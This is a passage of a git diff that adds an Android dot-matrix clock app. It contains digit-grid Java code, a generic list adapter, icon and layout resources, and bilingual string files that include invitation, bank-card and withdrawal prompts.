PointDotBean(1, 4, false)); + pointDotBeans.add(new PointDotBean(2, 0, false)); + pointDotBeans.add(new PointDotBean(2, 1, true)); + pointDotBeans.add(new PointDotBean(2, 2, false)); + pointDotBeans.add(new PointDotBean(2, 3, true)); + pointDotBeans.add(new PointDotBean(2, 4, false)); + pointDotBeans.add(new PointDotBean(3, 0, true)); + pointDotBeans.add(new PointDotBean(3, 1, false)); + pointDotBeans.add(new PointDotBean(3, 2, false)); + pointDotBeans.add(new PointDotBean(3, 3, true)); + pointDotBeans.add(new PointDotBean(3, 4, false)); + pointDotBeans.add(new PointDotBean(4, 0, true)); + pointDotBeans.add(new PointDotBean(4, 1, true)); + pointDotBeans.add(new PointDotBean(4, 2, true)); + pointDotBeans.add(new PointDotBean(4, 3, true)); + pointDotBeans.add(new PointDotBean(4, 4, true)); + pointDotBeans.add(new PointDotBean(5, 0, false)); + pointDotBeans.add(new PointDotBean(5, 1, false)); + pointDotBeans.add(new PointDotBean(5, 2, false)); + pointDotBeans.add(new PointDotBean(5, 3, true)); + pointDotBeans.add(new PointDotBean(5, 4, false)); + pointDotBeans.add(new PointDotBean(6, 0, false)); + pointDotBeans.add(new PointDotBean(6, 1, false)); + pointDotBeans.add(new PointDotBean(6, 2, false)); + pointDotBeans.add(new PointDotBean(6, 3, true)); + pointDotBeans.add(new PointDotBean(6, 4, false)); + return pointDotBeans; + } + + private static ArrayList getPointBean5(ArrayList pointDotBeans) { + pointDotBeans.add(new PointDotBean(0, 0, true)); + pointDotBeans.add(new PointDotBean(0, 1, true)); + pointDotBeans.add(new PointDotBean(0, 2, true)); + pointDotBeans.add(new PointDotBean(0, 3, true)); + pointDotBeans.add(new PointDotBean(0, 4, true)); + pointDotBeans.add(new PointDotBean(1, 0, true)); + pointDotBeans.add(new PointDotBean(1, 1, false)); + pointDotBeans.add(new PointDotBean(1, 2, false)); + pointDotBeans.add(new PointDotBean(1, 3, false)); + pointDotBeans.add(new PointDotBean(1, 4, false)); + pointDotBeans.add(new PointDotBean(2, 0, true)); + pointDotBeans.add(new PointDotBean(2, 1, false)); + pointDotBeans.add(new PointDotBean(2, 2, false)); + pointDotBeans.add(new PointDotBean(2, 3, false)); + pointDotBeans.add(new PointDotBean(2, 4, false)); + pointDotBeans.add(new PointDotBean(3, 0, true)); + pointDotBeans.add(new PointDotBean(3, 1, true)); + pointDotBeans.add(new PointDotBean(3, 2, true)); + pointDotBeans.add(new PointDotBean(3, 3, true)); + pointDotBeans.add(new PointDotBean(3, 4, false)); + pointDotBeans.add(new PointDotBean(4, 0, false)); + pointDotBeans.add(new PointDotBean(4, 1, false)); + pointDotBeans.add(new PointDotBean(4, 2, false)); + pointDotBeans.add(new PointDotBean(4, 3, false)); + pointDotBeans.add(new PointDotBean(4, 4, true)); + pointDotBeans.add(new PointDotBean(5, 0, false)); + pointDotBeans.add(new PointDotBean(5, 1, false)); + pointDotBeans.add(new PointDotBean(5, 2, false)); + pointDotBeans.add(new PointDotBean(5, 3, false)); + pointDotBeans.add(new PointDotBean(5, 4, true)); + pointDotBeans.add(new PointDotBean(6, 0, true)); + pointDotBeans.add(new PointDotBean(6, 1, true)); + pointDotBeans.add(new PointDotBean(6, 2, true)); + pointDotBeans.add(new PointDotBean(6, 3, true)); + pointDotBeans.add(new PointDotBean(6, 4, false)); + return pointDotBeans; + } + + private static ArrayList getPointBean6(ArrayList pointDotBeans) { + pointDotBeans.add(new PointDotBean(0, 0, false)); + pointDotBeans.add(new PointDotBean(0, 1, true)); + pointDotBeans.add(new PointDotBean(0, 2, true)); + pointDotBeans.add(new PointDotBean(0, 3, true)); + pointDotBeans.add(new PointDotBean(0, 4, false)); + pointDotBeans.add(new PointDotBean(1, 0, true)); + pointDotBeans.add(new PointDotBean(1, 1, false)); + pointDotBeans.add(new PointDotBean(1, 2, false)); + pointDotBeans.add(new PointDotBean(1, 3, false)); + pointDotBeans.add(new PointDotBean(1, 4, true)); + pointDotBeans.add(new PointDotBean(2, 0, true)); + pointDotBeans.add(new PointDotBean(2, 1, false)); + pointDotBeans.add(new PointDotBean(2, 2, false)); + pointDotBeans.add(new PointDotBean(2, 3, false)); + pointDotBeans.add(new PointDotBean(2, 4, false)); + pointDotBeans.add(new PointDotBean(3, 0, true)); + pointDotBeans.add(new PointDotBean(3, 1, true)); + pointDotBeans.add(new PointDotBean(3, 2, true)); + pointDotBeans.add(new PointDotBean(3, 3, true)); + pointDotBeans.add(new PointDotBean(3, 4, false)); + pointDotBeans.add(new PointDotBean(4, 0, true)); + pointDotBeans.add(new PointDotBean(4, 1, false)); + pointDotBeans.add(new PointDotBean(4, 2, false)); + pointDotBeans.add(new PointDotBean(4, 3, false)); + pointDotBeans.add(new PointDotBean(4, 4, true)); + pointDotBeans.add(new PointDotBean(5, 0, true)); + pointDotBeans.add(new PointDotBean(5, 1, false)); + pointDotBeans.add(new PointDotBean(5, 2, false)); + pointDotBeans.add(new PointDotBean(5, 3, false)); + pointDotBeans.add(new PointDotBean(5, 4, true)); + pointDotBeans.add(new PointDotBean(6, 0, false)); + pointDotBeans.add(new PointDotBean(6, 1, true)); + pointDotBeans.add(new PointDotBean(6, 2, true)); + pointDotBeans.add(new PointDotBean(6, 3, true)); + pointDotBeans.add(new PointDotBean(6, 4, false)); + return pointDotBeans; + } + + private static ArrayList getPointBean7(ArrayList pointDotBeans) { + pointDotBeans.add(new PointDotBean(0, 0, true)); + pointDotBeans.add(new PointDotBean(0, 1, true)); + pointDotBeans.add(new PointDotBean(0, 2, true)); + pointDotBeans.add(new PointDotBean(0, 3, true)); + pointDotBeans.add(new PointDotBean(0, 4, true)); + pointDotBeans.add(new PointDotBean(1, 0, false)); + pointDotBeans.add(new PointDotBean(1, 1, false)); + pointDotBeans.add(new PointDotBean(1, 2, false)); + pointDotBeans.add(new PointDotBean(1, 3, false)); + pointDotBeans.add(new PointDotBean(1, 4, true)); + pointDotBeans.add(new PointDotBean(2, 0, false)); + pointDotBeans.add(new PointDotBean(2, 1, false)); + pointDotBeans.add(new PointDotBean(2, 2, false)); + pointDotBeans.add(new PointDotBean(2, 3, true)); + pointDotBeans.add(new PointDotBean(2, 4, false)); + pointDotBeans.add(new PointDotBean(3, 0, false)); + pointDotBeans.add(new PointDotBean(3, 1, false)); + pointDotBeans.add(new PointDotBean(3, 2, true)); + pointDotBeans.add(new PointDotBean(3, 3, false)); + pointDotBeans.add(new PointDotBean(3, 4, false)); + pointDotBeans.add(new PointDotBean(4, 0, false)); + pointDotBeans.add(new PointDotBean(4, 1, false)); + pointDotBeans.add(new PointDotBean(4, 2, true)); + pointDotBeans.add(new PointDotBean(4, 3, false)); + pointDotBeans.add(new PointDotBean(4, 4, false)); + pointDotBeans.add(new PointDotBean(5, 0, false)); + pointDotBeans.add(new PointDotBean(5, 1, false)); + pointDotBeans.add(new PointDotBean(5, 2, true)); + pointDotBeans.add(new PointDotBean(5, 3, false)); + pointDotBeans.add(new PointDotBean(5, 4, false)); + pointDotBeans.add(new PointDotBean(6, 0, false)); + pointDotBeans.add(new PointDotBean(6, 1, false)); + pointDotBeans.add(new PointDotBean(6, 2, true)); + pointDotBeans.add(new PointDotBean(6, 3, false)); + pointDotBeans.add(new PointDotBean(6, 4, false)); + return pointDotBeans; + } + + private static ArrayList getPointBean8(ArrayList pointDotBeans) { + pointDotBeans.add(new PointDotBean(0, 0, false)); + pointDotBeans.add(new PointDotBean(0, 1, true)); + pointDotBeans.add(new PointDotBean(0, 2, true)); + pointDotBeans.add(new PointDotBean(0, 3, true)); + pointDotBeans.add(new PointDotBean(0, 4, false)); + pointDotBeans.add(new PointDotBean(1, 0, true)); + pointDotBeans.add(new PointDotBean(1, 1, false)); + pointDotBeans.add(new PointDotBean(1, 2, false)); + pointDotBeans.add(new PointDotBean(1, 3, false)); + pointDotBeans.add(new PointDotBean(1, 4, true)); + pointDotBeans.add(new PointDotBean(2, 0, true)); + pointDotBeans.add(new PointDotBean(2, 1, false)); + pointDotBeans.add(new PointDotBean(2, 2, false)); + pointDotBeans.add(new PointDotBean(2, 3, false)); + pointDotBeans.add(new PointDotBean(2, 4, true)); + pointDotBeans.add(new PointDotBean(3, 0, false)); + pointDotBeans.add(new PointDotBean(3, 1, true)); + pointDotBeans.add(new PointDotBean(3, 2, true)); + pointDotBeans.add(new PointDotBean(3, 3, true)); + pointDotBeans.add(new PointDotBean(3, 4, false)); + pointDotBeans.add(new PointDotBean(4, 0, true)); + pointDotBeans.add(new PointDotBean(4, 1, false)); + pointDotBeans.add(new PointDotBean(4, 2, false)); + pointDotBeans.add(new PointDotBean(4, 3, false)); + pointDotBeans.add(new PointDotBean(4, 4, true)); + pointDotBeans.add(new PointDotBean(5, 0, true)); + pointDotBeans.add(new PointDotBean(5, 1, false)); + pointDotBeans.add(new PointDotBean(5, 2, false)); + pointDotBeans.add(new PointDotBean(5, 3, false)); + pointDotBeans.add(new PointDotBean(5, 4, true)); + pointDotBeans.add(new PointDotBean(6, 0, false)); + pointDotBeans.add(new PointDotBean(6, 1, true)); + pointDotBeans.add(new PointDotBean(6, 2, true)); + pointDotBeans.add(new PointDotBean(6, 3, true)); + pointDotBeans.add(new PointDotBean(6, 4, false)); + return pointDotBeans; + } + + private static ArrayList getPointBean9(ArrayList pointDotBeans) { + pointDotBeans.add(new PointDotBean(0, 0, false)); + pointDotBeans.add(new PointDotBean(0, 1, true)); + pointDotBeans.add(new PointDotBean(0, 2, true)); + pointDotBeans.add(new PointDotBean(0, 3, true)); + pointDotBeans.add(new PointDotBean(0, 4, false)); + pointDotBeans.add(new PointDotBean(1, 0, true)); + pointDotBeans.add(new PointDotBean(1, 1, false)); + pointDotBeans.add(new PointDotBean(1, 2, false)); + pointDotBeans.add(new PointDotBean(1, 3, false)); + pointDotBeans.add(new PointDotBean(1, 4, true)); + pointDotBeans.add(new PointDotBean(2, 0, true)); + pointDotBeans.add(new PointDotBean(2, 1, false)); + pointDotBeans.add(new PointDotBean(2, 2, false)); + pointDotBeans.add(new PointDotBean(2, 3, false)); + pointDotBeans.add(new PointDotBean(2, 4, true)); + pointDotBeans.add(new PointDotBean(3, 0, false)); + pointDotBeans.add(new PointDotBean(3, 1, true)); + pointDotBeans.add(new PointDotBean(3, 2, true)); + pointDotBeans.add(new PointDotBean(3, 3, true)); + pointDotBeans.add(new PointDotBean(3, 4, false)); + pointDotBeans.add(new PointDotBean(4, 0, false)); + pointDotBeans.add(new PointDotBean(4, 1, false)); + pointDotBeans.add(new PointDotBean(4, 2, false)); + pointDotBeans.add(new PointDotBean(4, 3, false)); + pointDotBeans.add(new PointDotBean(4, 4, true)); + pointDotBeans.add(new PointDotBean(5, 0, true)); + pointDotBeans.add(new PointDotBean(5, 1, false)); + pointDotBeans.add(new PointDotBean(5, 2, false)); + pointDotBeans.add(new PointDotBean(5, 3, false)); + pointDotBeans.add(new PointDotBean(5, 4, true)); + pointDotBeans.add(new PointDotBean(6, 0, false)); + pointDotBeans.add(new PointDotBean(6, 1, true)); + pointDotBeans.add(new PointDotBean(6, 2, true)); + pointDotBeans.add(new PointDotBean(6, 3, true)); + pointDotBeans.add(new PointDotBean(6, 4, false)); + return pointDotBeans; + } + +} diff --git a/testTime/src/main/java/com/hey/testtime/WebApplication.java b/testTime/src/main/java/com/hey/testtime/WebApplication.java new file mode 100644 index 0000000..30d8bb0 --- /dev/null +++ b/testTime/src/main/java/com/hey/testtime/WebApplication.java @@ -0,0 +1,18 @@ +package com.hey.testtime; + +import android.app.Application; +import android.content.Context; + +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + } +} diff --git a/testTime/src/main/java/com/hey/testtime/adapter/comm/CommonAdapter.java b/testTime/src/main/java/com/hey/testtime/adapter/comm/CommonAdapter.java new file mode 100644 index 0000000..8bfb0d0 --- /dev/null +++ b/testTime/src/main/java/com/hey/testtime/adapter/comm/CommonAdapter.java @@ -0,0 +1,68 @@ +package com.hey.testtime.adapter.comm; + +import android.content.Context; +import android.view.LayoutInflater; +import android.view.ViewGroup; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + +/** + * 通用列表适配器 + * @param + */ +public abstract class CommonAdapter extends RecyclerView.Adapter { + + protected Context mContext; + protected int mLayoutId; + protected List mDatas; + protected LayoutInflater mInflater; + + ViewHolder viewHolder; + + + public CommonAdapter(Context context, int layoutId, List datas) { + mContext = context; + mInflater = LayoutInflater.from(context); + mLayoutId = layoutId; + mDatas = datas; + } + public void setDates(List dates){ + this.mDatas=dates; +// notifyItemRangeChanged(0,mDatas.size()); + notifyDataSetChanged(); + } + public void addDates(List dates){ + this.mDatas.addAll(dates); + notifyDataSetChanged(); + } + + public void addDates(int localSize){ + int size=mDatas.size(); + notifyItemRangeChanged(size,localSize); + } + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + viewHolder = ViewHolder.get(mContext, parent, mLayoutId); + return viewHolder; + } + + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + + convert(holder, mDatas.get(position),position); + } + + public abstract void convert(ViewHolder holder, T t,int index); + + + @Override + public int getItemCount() { + return mDatas.size(); + } +} diff --git a/testTime/src/main/java/com/hey/testtime/adapter/comm/ViewHolder.java b/testTime/src/main/java/com/hey/testtime/adapter/comm/ViewHolder.java new file mode 100644 index 0000000..9eecd2a --- /dev/null +++ b/testTime/src/main/java/com/hey/testtime/adapter/comm/ViewHolder.java @@ -0,0 +1,60 @@ +package com.hey.testtime.adapter.comm; + +import android.content.Context; +import android.util.SparseArray; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.recyclerview.widget.RecyclerView; + +/** + * 通用列表ViewHolder + */ +public class ViewHolder extends RecyclerView.ViewHolder { + + private SparseArray mViews; + private View mConvertView; + private Context mContext; + + public ViewHolder(Context context, View itemView, ViewGroup parent) { + super(itemView); + mContext = context; + mConvertView = itemView; + mViews = new SparseArray(); + } + + public static ViewHolder get(Context context, ViewGroup parent, int layoutId) { + + View itemView = LayoutInflater.from(context).inflate(layoutId, parent, + false); + ViewHolder holder = new ViewHolder(context, itemView, parent); + return holder; + } + + + public T getView(int viewId) { + View view = mViews.get(viewId); + if (view == null) { + view = mConvertView.findViewById(viewId); + mViews.put(viewId, view); + } + return (T) view; + } + + + public ViewHolder setText(int viewId, String text) + { + TextView tv = getView(viewId); + tv.setText(text); + return this; + } + + public ViewHolder setOnClickListener(int viewId, View.OnClickListener listener) { + View view = getView(viewId); + view.setOnClickListener(listener); + return this; + } + +} diff --git a/testTime/src/main/res/drawable-anydpi/ic_action_back.xml b/testTime/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/testTime/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/testTime/src/main/res/drawable-hdpi/ic_action_back.png b/testTime/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/testTime/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/testTime/src/main/res/drawable-mdpi/ic_action_back.png b/testTime/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/testTime/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/testTime/src/main/res/drawable-v24/ic_launcher_foreground.xml b/testTime/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/testTime/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/drawable-xhdpi/ic_action_back.png b/testTime/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/testTime/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/testTime/src/main/res/drawable-xxhdpi/ic_action_back.png b/testTime/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/testTime/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/testTime/src/main/res/drawable/ic_launcher_background.xml b/testTime/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/testTime/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/testTime/src/main/res/drawable/input_bg.xml b/testTime/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/testTime/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/testTime/src/main/res/drawable/pass_word_bg.xml b/testTime/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/testTime/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/testTime/src/main/res/drawable/pass_word_bg1.xml b/testTime/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..83b8c14 --- /dev/null +++ b/testTime/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/drawable/pass_word_bg2.xml b/testTime/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/testTime/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/drawable/shape_btn_bg.xml b/testTime/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/testTime/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/drawable/shape_dialog_bg2.xml b/testTime/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/testTime/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/drawable/shape_dialog_bg3.xml b/testTime/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/testTime/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/drawable/shape_dialog_bg_new.xml b/testTime/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/testTime/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/drawable/shape_notify_typebg.xml b/testTime/src/main/res/drawable/shape_notify_typebg.xml new file mode 100644 index 0000000..3da849f --- /dev/null +++ b/testTime/src/main/res/drawable/shape_notify_typebg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/layout/activity_main2.xml b/testTime/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..e39ecba --- /dev/null +++ b/testTime/src/main/res/layout/activity_main2.xml @@ -0,0 +1,63 @@ + + + + + + + + + + + + + + + + + + + diff --git a/testTime/src/main/res/layout/data_view.xml b/testTime/src/main/res/layout/data_view.xml new file mode 100644 index 0000000..d58d21a --- /dev/null +++ b/testTime/src/main/res/layout/data_view.xml @@ -0,0 +1,19 @@ + + + + + + + + diff --git a/testTime/src/main/res/layout/mao_view.xml b/testTime/src/main/res/layout/mao_view.xml new file mode 100644 index 0000000..d58d21a --- /dev/null +++ b/testTime/src/main/res/layout/mao_view.xml @@ -0,0 +1,19 @@ + + + + + + + + diff --git a/testTime/src/main/res/layout/point_view.xml b/testTime/src/main/res/layout/point_view.xml new file mode 100644 index 0000000..6024abf --- /dev/null +++ b/testTime/src/main/res/layout/point_view.xml @@ -0,0 +1,22 @@ + + + + + + + + + + diff --git a/testTime/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/testTime/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/testTime/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/testTime/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/testTime/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/mipmap-hdpi/ic_empty.png b/testTime/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/testTime/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/testTime/src/main/res/mipmap-hdpi/ic_pull_down.png b/testTime/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/testTime/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_close.png b/testTime/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_email.png b/testTime/src/main/res/mipmap-xhdpi/ic_email.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_email.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_email1.png b/testTime/src/main/res/mipmap-xhdpi/ic_email1.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_email1.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_facebook.png b/testTime/src/main/res/mipmap-xhdpi/ic_facebook.png new file mode 100644 index 0000000..de378dc Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_facebook.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_hometo.png b/testTime/src/main/res/mipmap-xhdpi/ic_hometo.png new file mode 100644 index 0000000..4e93043 Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_hometo.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_link.png b/testTime/src/main/res/mipmap-xhdpi/ic_link.png new file mode 100644 index 0000000..2f98612 Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_link.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_menu.png b/testTime/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_notify_email.png b/testTime/src/main/res/mipmap-xhdpi/ic_notify_email.png new file mode 100644 index 0000000..5a2df8e Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_notify_email.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_notify_normal.png b/testTime/src/main/res/mipmap-xhdpi/ic_notify_normal.png new file mode 100644 index 0000000..f056d32 Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_notify_normal.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_notify_shangla.png b/testTime/src/main/res/mipmap-xhdpi/ic_notify_shangla.png new file mode 100644 index 0000000..eb1d3e9 Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_notify_shangla.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_notify_xiala.png b/testTime/src/main/res/mipmap-xhdpi/ic_notify_xiala.png new file mode 100644 index 0000000..7999f63 Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_notify_xiala.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_notifylogo.png b/testTime/src/main/res/mipmap-xhdpi/ic_notifylogo.png new file mode 100644 index 0000000..b975e45 Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_notifylogo.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_shousuo.png b/testTime/src/main/res/mipmap-xhdpi/ic_shousuo.png new file mode 100644 index 0000000..16b38be Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_shousuo.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_tel.png b/testTime/src/main/res/mipmap-xhdpi/ic_tel.png new file mode 100644 index 0000000..df82270 Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_tel.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_whatsapp.png b/testTime/src/main/res/mipmap-xhdpi/ic_whatsapp.png new file mode 100644 index 0000000..7ca41ed Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_whatsapp.png differ diff --git a/testTime/src/main/res/mipmap-xhdpi/ic_zhangkai.png b/testTime/src/main/res/mipmap-xhdpi/ic_zhangkai.png new file mode 100644 index 0000000..bdc84b3 Binary files /dev/null and b/testTime/src/main/res/mipmap-xhdpi/ic_zhangkai.png differ diff --git a/testTime/src/main/res/mipmap-xxhdpi/hey_girl.png b/testTime/src/main/res/mipmap-xxhdpi/hey_girl.png new file mode 100644 index 0000000..a536a12 Binary files /dev/null and b/testTime/src/main/res/mipmap-xxhdpi/hey_girl.png differ diff --git a/testTime/src/main/res/values-en/strings.xml b/testTime/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..3ac4c0f --- /dev/null +++ b/testTime/src/main/res/values-en/strings.xml @@ -0,0 +1,55 @@ + + Please Set Your Password + Cancel + 点阵时间 + + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + No additional data available for now + NOTIFICATIONS + \ No newline at end of file diff --git a/testTime/src/main/res/values/colors.xml b/testTime/src/main/res/values/colors.xml new file mode 100644 index 0000000..9e7077a --- /dev/null +++ b/testTime/src/main/res/values/colors.xml @@ -0,0 +1,25 @@ + + + #aadcf5 + #aadcf5 + #aadcf5 + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #aadcf5 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + #ACDFEE + #BDDDB7 + #C3B5D0 + #30DDDDDD + #0fb4f6 + + + \ No newline at end of file diff --git a/testTime/src/main/res/values/strings.xml b/testTime/src/main/res/values/strings.xml new file mode 100644 index 0000000..c63fb10 --- /dev/null +++ b/testTime/src/main/res/values/strings.xml @@ -0,0 +1,76 @@ + + 请输入6位密码 + 点阵时间 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + 暂无更多数据 + 通知 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/values/themes.xml b/testTime/src/main/res/values/themes.xml new file mode 100644 index 0000000..eb15ed1 --- /dev/null +++ b/testTime/src/main/res/values/themes.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/xml/app_updater_paths.xml b/testTime/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/testTime/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/testTime/src/main/res/xml/network_security_config.xml b/testTime/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/testTime/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/testTime/src/main/res/xml/provider_paths.xml b/testTime/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/testTime/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/testTime/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/testTime/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ 